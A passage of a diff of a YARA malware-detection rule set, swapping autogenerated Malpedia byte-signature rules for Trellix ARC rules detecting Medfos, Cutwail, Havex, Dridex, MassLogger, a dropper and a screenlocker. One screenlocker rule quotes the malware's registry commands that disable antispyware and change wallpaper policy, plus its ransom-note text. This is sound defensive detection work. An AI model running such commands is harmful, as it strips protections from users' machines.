0000607CC90000000000607C890000000000D0E80100000000000000000000000000200000000000000000000000000000001D0000000800000003000000000000004065CB000000000040658B00000000001834000000000000000000000000000020000000000000000000000000000000270000000700000002000000000000009C0F4000000000009C0F00000000000064000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
 
 	condition:
-		7 of them and filesize <169984
+		uint16(0)==0x457f and filesize <26000KB and all of them
 }
-rule MALPEDIA_Win_Rtm_Locker_Auto : FILE
+rule TRELLIX_ARC_Malw_Medfos : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a8f49436-bcde-542d-92ad-a9016371f8b8"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rtm_locker_auto.yar#L1-L127"
-		license_url = "N/A"
-		logic_hash = "61d8b5fbf492d5b9d06c2052f9a6a3111c4e3f003fd0450ca27ee699de4151fc"
+		description = "Rule to detect Medfos trojan based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "07ad0227-ca8f-5071-8ef7-8c3e087fcc35"
+		date = "2013-04-19"
+		modified = "2020-08-14"
+		reference = "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=win32%2Fmedfos"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_medfos_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "3582e242f62598445ca297c389cae532613afccf48b16e9c1dcf1bfedaa6e14f"
+		logic_hash = "1726462a806f5cb3f0b80596623cebc51a7a9f866ded0cb59ea1c43034ce2819"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/Medfos"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8d8d2cfeffff e8???????? 0f108d64fcffff 33c9 0f109574fcffff 0f109d84fcffff 0f10a594fcffff }
-		$sequence_1 = { 0f104630 660fefd0 0f1006 660fefc8 0f110f 0f116710 0f115f20 }
-		$sequence_2 = { 0f29442470 0f28842470010000 0f29842420010000 0f28842480010000 89442458 83c004 894c245c }
-		$sequence_3 = { e8???????? 8d8d68ffffff e8???????? 0f108568ffffff be18000000 0f1185c8feffff }
-		$sequence_4 = { 0fbe8098074200 40 8945cc 2b45dc 8945d4 3bc2 0f8f10020000 }
-		$sequence_5 = { 50 6af5 eb03 50 6af6 ff15???????? 8b04bd500f4200 }
-		$sequence_6 = { c1f910 884e02 8b4de0 0ac1 884603 8bc1 c1f808 }
-		$sequence_7 = { 897dfc 897db8 894508 85c0 0f8f3ffeffff }
-		$sequence_8 = { 8d442430 50 ff15???????? 8bf0 83feff 7431 }
-		$sequence_9 = { 8b0c85500f4200 8b45f8 807c012800 7d46 }
+		$pdb = "\\som\\bytguqne\\jzexsaf\\gyin.pdb"
 
 	condition:
-		7 of them and filesize <598016
+		uint16(0)==0x5a4d and filesize <150KB and any of them
 }
-rule MALPEDIA_Win_Wscspl_Auto : FILE
+rule TRELLIX_ARC_Malw_Cutwail_Pdb : BOTNET FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f31d95be-4f0b-51e3-8f5f-15d1afc6eb9e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wscspl_auto.yar#L1-L117"
-		license_url = "N/A"
-		logic_hash = "4a0c5de1937bca874bba721d790f101d8b394ac870591bd7e9ae3e7dc3c9255d"
+		description = "Rule to detect cutwail based on the PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "62058ff9-acb5-5f71-b6bb-4c64e51442ba"
+		date = "2008-04-16"
+		modified = "2020-08-14"
+		reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/CUTWAIL"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_cutwail.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "d702f823eefb50d9ea5b336c638f65a40c2342f8eb88278da60aa8a498c75010"
+		logic_hash = "f53626e6085509ddf9268b69e54a138e64cd5d3fbad119e6e9473179decd7927"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BOTNET, FILE"
+		rule_version = "v1"
+		malware_type = "botnet"
+		malware_family = "Botnet:W32/Cutwail"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 740b b855000000 66a3???????? 8b4c2404 51 }
-		$sequence_1 = { 8bcd 8d742414 8d442418 e8???????? 0fbf442414 50 8d4c241c }
-		$sequence_2 = { 8d442430 50 68???????? 6a00 6a00 c744244000000000 }
-		$sequence_3 = { 8b74240c 3bf7 7435 8b3d???????? 8d4900 8b4618 8b4004 }
-		$sequence_4 = { 8d642400 8b0c18 8d1418 bf05000000 }
-		$sequence_5 = { 3bc1 763a 03c9 3bc1 }
-		$sequence_6 = { 663bf8 752f e8???????? 8b0d???????? }
-		$sequence_7 = { 51 ff15???????? ff15???????? 6888130000 }
-		$sequence_8 = { 8b1d???????? 55 33c0 56 83c1fb }
-		$sequence_9 = { 687c230000 8d44240c 6a01 50 ff15???????? 687c230000 68c10b0000 }
+		$pdb = "\\0bulknet\\FLASH\\Release\\flashldr.pdb"
 
 	condition:
-		7 of them and filesize <901120
+		uint16(0)==0x5a4d and filesize <440KB and any of them
 }
-rule MALPEDIA_Win_Sasfis_Auto : FILE
+rule TRELLIX_ARC_Screenlocker_5H311_1Nj3C706 : SCREENLOCKER FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5e363129-1d9b-5d5a-8006-da18dff7062a"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sasfis_auto.yar#L1-L115"
-		license_url = "N/A"
-		logic_hash = "7eee2ccd93eb9390961368e951e0384a076b29fc7a953a6afc5b8df0aa798b71"
+		description = "Rule to detect the screenlocker 5h311_1nj3c706"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "50bbe8e1-4721-5277-b786-d2a2d9acf917"
+		date = "2018-08-07"
+		modified = "2020-08-14"
+		reference = "https://twitter.com/demonslay335/status/1038060120461266944"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_screenlocker_5h311_1nj3c706.yar#L1-L33"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "016ee638bd4fccd5ca438c2e0abddc4b070f59269c08f11c5313ba9c37190718"
+		logic_hash = "61b4495841c77053ba2631f087197719f3ee45cd93add022f23b87ece8563619"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "SCREENLOCKER, FILE"
+		rule_version = "v1"
+		malware_type = "screenlocker"
+		malware_family = "ScreenLocker:W32/5h311_1nj3c706"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8433 a6 0d60ca8b0c 646b1a5c }
-		$sequence_1 = { d7 4b 7ca9 bc74460651 130d???????? 37 d502 }
-		$sequence_2 = { 157e2808b7 0016 2038 2410 }
-		$sequence_3 = { 60 0c1c 0430 00242c 1838 3c00 3808 }
-		$sequence_4 = { 84df 66ffc5 8b742448 66f7df }
-		$sequence_5 = { f9 f6c77d 660fbae10b 83c504 }
-		$sequence_6 = { 657326 6e 346f 6f 68432b3501 }
-		$sequence_7 = { 6681cf5b01 81ec9c000000 57 60 5f }
-		$sequence_8 = { 2909 26df6883 95 7800 e8???????? 15afb28a60 38342c }
-		$sequence_9 = { 260c16 005220 0410 1400 }
+		$s1 = "C:\\Users\\Hoang Nam\\source\\repos\\WindowsApp22\\WindowsApp22\\obj\\Debug\\WindowsApp22.pdb" fullword ascii
+		$s2 = "cmd.exe /cREG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop /v NoChangingWallPaper /t REG_DWOR" wide
+		$s3 = "C:\\Users\\file1.txt" fullword wide
+		$s4 = "C:\\Users\\file2.txt" fullword wide
+		$s5 = "C:\\Users\\file.txt" fullword wide
+		$s6 = " /v Wallpaper /t REG_SZ /d %temp%\\IMG.jpg /f" fullword wide
+		$s7 = " /v DisableAntiSpyware /t REG_DWORD /d 1 /f" fullword wide
+		$s8 = "All your file has been locked. You must pay money to have a key." fullword wide
+		$s9 = "After we receive Bitcoin from you. We will send key to your email." fullword wide
 
 	condition:
-		7 of them and filesize <8060928
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule MALPEDIA_Win_Anchor_Auto : FILE
+rule TRELLIX_ARC_Masslogger_Stealer : STEALER FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1c11ed2a-15a5-596e-9198-01902495df6c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.anchor_auto.yar#L1-L193"
-		license_url = "N/A"
-		logic_hash = "886cb58595403596c3f5d2209b3ab4ffe1064302e9312c9e2ca7e76025f4d7c9"
+		description = "Rule to detect unpacked MassLogger stealer"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "c3a40108-3f0c-5949-9201-95c3c38b352a"
+		date = "2020-07-02"
+		modified = "2020-08-14"
+		reference = "https://urlhaus.abuse.ch/browse/signature/MassLogger/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_masslogger_stealer.yar#L1-L63"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "343873155b6950386f7d9bcd8d2b2e81088521aedf8ff1333d20229426d8145c"
+		logic_hash = "476b3f3a54a4616058a2aef01adbe429a38eacc8ee58881d31bd28e795a27575"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 66
+		tags = "STEALER, FILE"
+		rule_version = "v1"
+		malware_type = "stealer"
+		malware_family = "Stealer:W32/MassLogger"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 740c 66c740016578 c6400365 eb0a }
-		$sequence_1 = { c6400365 eb0a 66c74001646c c640036c }
-		$sequence_2 = { 56 8d8dbcfeffff e8???????? 68???????? 8d8dbcfeffff }
-		$sequence_3 = { b101 e8???????? e8???????? 84c0 }
-		$sequence_4 = { 56 e8???????? 8b30 837e0c00 }
-		$sequence_5 = { 8b4638 5f 66894812 33c9 8b4638 }
-		$sequence_6 = { f2e965020000 e9???????? 53 56 57 }
-		$sequence_7 = { 0f90c1 f7d9 0bc8 51 e8???????? 8b0d???????? c1e102 }
-		$sequence_8 = { 0fb7c1 6641 66890d???????? 50 }
-		$sequence_9 = { 7509 33d2 33c9 e8???????? }
-		$sequence_10 = { 488d0d520b0400 e8???????? 488b8500010000 488b8d08010000 }
-		$sequence_11 = { 488d0d516d0200 e8???????? 488d8d680e0000 e8???????? }
-		$sequence_12 = { 488d0d50840200 e8???????? 488d0d48840200 e8???????? }
-		$sequence_13 = { 4903c7 c64405b079 4903c7 c64405b073 4903c7 c64405b074 4903c7 }
-		$sequence_14 = { 488d0d528a0300 e8???????? 488b8de0000000 e8???????? }
-		$sequence_15 = { 488b4318 66894802 8d4f6e 488b4318 66894804 }
-		$sequence_16 = { 488d0d52b90200 e8???????? e8???????? 48894508 }
-		$sequence_17 = { e8???????? 4c8d442468 48837d8010 4c0f43442468 }
-		$sequence_18 = { 488d0d50480300 e8???????? 90 488b8500010000 488da5e8000000 5f }
-		$sequence_19 = { 4889442428 488d85d0030000 4889442420 4c8d4c2448 }
-		$sequence_20 = { 488d0d52cd0300 e8???????? 90 488b8d00010000 }
+		$pattern_0 = { 6437 3e2585829c88 ec ec 1bc8 }
+		$pattern_1 = { d7 b9513e1ba7 195ab6 e6df 7e2a 5a b6cc }
+		$pattern_2 = { 80aee281aae280 8ee2 808ce2808ee2808e e280 ae 00436f 6e }
+		$pattern_3 = { 6d e586 4c 40 }
+		$pattern_4 = { e281 ab e280 8ee2 80aee281aae280 8ee2 }
+		$pattern_5 = { 6c 69636b65644576 656e 7441 7267 7300 }
+		$pattern_6 = { 6e 7e81 d86aaf 61 93 7c2b 832b62 }
+		$pattern_7 = { 8b1c87 e7ed 24a2 3218 73df 53 }
+		$pattern_8 = { ee 9a357f9a475399 3188eef97d50 3f ef c9 }
+		$pattern_9 = { 44 a2???????? 92 7526 42 208fb5ca7050 }
+		$pattern_10 = { f2bbafb0d5f8 d524 0d48c906ba 7977 5d }
+		$pattern_11 = { 748f 46 4e 49 2af2 ee 9a357f9a475399 }
+		$pattern_12 = { 237ddb e200 95 46 99 37 }
+		$pattern_13 = { d9ae1d19ec3b 01db c5615c ec }
+		$pattern_14 = { 304a8a e2f4 bde7a84f79 c038d3 197ceae6 }
+		$pattern_15 = { 291f ff84c3bd55d8dc f331f2 1a3a 9c 7d78 }
+		$pattern_16 = { 3f 7af1 77a2 24ae 7ff3 }
+		$pattern_17 = { d1655d 7236 3873c1 b59e }
+		$pattern_18 = { 2aff 95 55 28ff 94 53 }
+		$pattern_19 = { e6b1 43 08d2 ef 43 3c38 }
+		$pattern_20 = { 6964427275736800 43 6f 6c 6f 7200 e281 }
+		$pattern_21 = { 37 005400a7 877f08 54 00e1 875303 5c }
+		$pattern_22 = { 6a45 e42c d3ba76c4f058 ce 3037 }
+		$pattern_23 = { b59e 59 f1 f1 }
+		$pattern_24 = { 7988 cd09 91 0099664e0391 008288490061 008c88d3099900 }
+		$pattern_25 = { 1e e3c2 00ff 698876be8fb365b13eb7 45 }
+		$pattern_26 = { 3d4c9deadf 57 ddeb 97 }
+		$pattern_27 = { e280 8ee2 808ee281aee280 8ee2 81ace281ace280ade280ab e281 }
+		$pattern_28 = { 4d 9c 8e5753 32414f d28a7173e2c4 7ee4 d9ae1d19ec3b }
+		$pattern_29 = { 7472 69704d656e755f 53 61 }
+		$pattern_30 = { 79bc fa ad 49 }
+		$pattern_31 = { 875303 5c 00140a 37 005c00a7 }
+		$pattern_32 = { 7265 5f 43 6c 69636b00746f6f 6c 53 }
+		$pattern_33 = { 36e633 2b2b 3673d1 d480 124d2d }
+		$pattern_34 = { 19b3e7ab29db 51 e1f3 dd3a 266f b884c4b53b }
+		$pattern_35 = { 7467 43 f332d2 84bf3df2e66b 4a ba5a20d9f5 3dbf2a3753 }
+		$pattern_36 = { f271f3 8877f7 a8e5 6437 3e2585829c88 }
+		$pattern_37 = { ce 84604c 3f 8cc6 56 bf165fdec5 4a }
+		$pattern_38 = { ad 49 a2???????? 4c e15b 8b1c87 }
+		$pattern_39 = { 3400 b687 bc083c00cd 87ce 083400 }
 
 	condition:
-		7 of them and filesize <778240
+		7 of them and filesize <3834880
 }
-rule MALPEDIA_Win_Thunderx_Auto : FILE
+rule TRELLIX_ARC_Havex_Backdoor_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bd791591-7f4e-54f3-bf78-0dd306ad53b2"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thunderx_auto.yar#L1-L128"
-		license_url = "N/A"
-		logic_hash = "088c8f2e806c5cf8226a8db8f2cdc4a3ddd2da7bdf68b4f2265db3773cd1c842"
+		description = "Rule to detect backdoor Havex based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "a667bb4e-8c38-59a6-8ae0-09c44961a687"
+		date = "2012-11-17"
+		modified = "2020-08-14"
+		reference = "https://www.f-secure.com/v-descs/backdoor_w32_havex.shtml"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_backdoor_havex_pdb.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255"
+		logic_hash = "dc50475b1ff2194306a0295f71860e4cc5ae7e126daa5d401b98cd2a0aadf1dd"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Havex"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 50 e8???????? c9 c3 c705????????58004200 b001 c3 }
-		$sequence_1 = { b9???????? e8???????? 0fb60d???????? 84c0 6a01 58 0f45c8 }
-		$sequence_2 = { 51 53 8b5d10 8bd1 56 57 8955fc }
-		$sequence_3 = { 8d8d9cfbffff e8???????? 8d8d84fbffff e8???????? 8d8d6cfbffff e8???????? }
-		$sequence_4 = { 6a02 8d44241c 895c2424 50 53 53 }
-		$sequence_5 = { e8???????? 84c0 7558 83c718 3b7da0 75ea 8d4de0 }
-		$sequence_6 = { 89459c 8945a0 e8???????? 84c0 0f858d000000 395f10 }
-		$sequence_7 = { 03d1 8b0c85701b4200 8a0433 43 88440a2e 8b4dd8 8b55b4 }
-		$sequence_8 = { 8932 897204 897208 5e 5d c20400 6a18 }
-		$sequence_9 = { 8d8dd0fdffff e8???????? 8d4dac c645fc06 }
+		$pdb = "\\Workspace\\PhalangX 3D\\Src\\Build\\Release\\Phalanx-3d.ServerAgent.pdb"
+		$pdb1 = "\\Workspace\\PhalangX 3D\\Src\\Build\\Release\\Tmprovider.pdb"
 
 	condition:
-		7 of them and filesize <319488
+		uint16(0)==0x5a4d and filesize <500KB and any of them
 }
-rule MALPEDIA_Win_Boxcaon_Auto : FILE
+rule TRELLIX_ARC_Dropper_Demekaf_Pdb : DROPPER FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a730ae2b-b623-5088-86a7-4d1a4eb89ea5"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boxcaon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.boxcaon_auto.yar#L1-L120"
-		license_url = "N/A"
-		logic_hash = "5b71da83cc61472fd3b6239fea0178674ab4b3cf9a9678dbeeda07cdd88e683a"
+		description = "Rule to detect Demekaf dropper based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "b49f42c1-d737-5afa-b547-7268e4cde360"
+		date = "2011-03-26"
+		modified = "2020-08-14"
+		reference = "https://v.virscan.org/Trojan-Dropper.Win32.Demekaf.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_dropper_demekaf_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "fab320fceb38ba2c5398debdc828a413a41672ce9745afc0d348a0e96c5de56e"
+		logic_hash = "89c0c1da1f8997b12a446c93bbde200e62fac9cab2a9a17147b268d435bdc3b6"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "DROPPER, FILE"
+		rule_version = "v1"
+		malware_type = "dropper"
+		malware_family = "Dropper:W32/Demekaf"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466890b54000 6a0d e8???????? }
-		$sequence_1 = { 8bd3 66899424e0000000 5a 6a50 66899424e2000000 8bd1 66899424e4000000 }
-		$sequence_2 = { 8888b8b84000 40 ebe6 ff35???????? }
-		$sequence_3 = { 8bec 33c0 8b4d08 3b0cc5408a4000 740a }
-		$sequence_4 = { c78424980000003c000000 ff15???????? 56 33ff }
-		$sequence_5 = { e8???????? 84c0 741a 8d4c2410 8d8424d8020000 2bc1 }
-		$sequence_6 = { 89bc24ac000000 89b424b4000000 c78424980000003c000000 ff15???????? }
-		$sequence_7 = { 33c9 66890c06 68???????? 8d442414 50 e8???????? }
-		$sequence_8 = { 0020 1f 40 00441f40 0023 d18a0688078a 46 }
-		$sequence_9 = { 33c0 c7461407000000 668906 8b4508 8b5810 57 }
+		$pdb = "\\vc\\res\\fake1.19-jpg\\fake\\Release\\fake.pdb"
 
 	condition:
-		7 of them and filesize <256000
+		uint16(0)==0x5a4d and filesize <150KB and any of them
 }
-rule MALPEDIA_Win_Graftor_Auto : FILE
+rule TRELLIX_ARC_Dridex_P2P_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7d45e232-2e70-5f76-b127-1013459f5457"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graftor_auto.yar#L1-L132"
-		license_url = "N/A"
-		logic_hash = "2d0bf0ad42127878b7c1f7be3bcb33cc3ba27a99993b023e29cc91abed5bec59"
+		description = "Rule to detect Dridex P2P based on the PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "57350c96-877e-57de-9465-df9f7eb6d656"
+		date = "2014-11-29"
+		modified = "2020-08-14"
+		reference = "https://www.us-cert.gov/ncas/alerts/aa19-339a"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_dridex_p2p_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5345a9405212f3b8ef565d5d793e407ae8db964865a85c97e096295ba3f39a78"
+		logic_hash = "c9c4db48435203cdb882eef8082efd8424bd13f1aa512cfb3082f365b9bc6e83"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
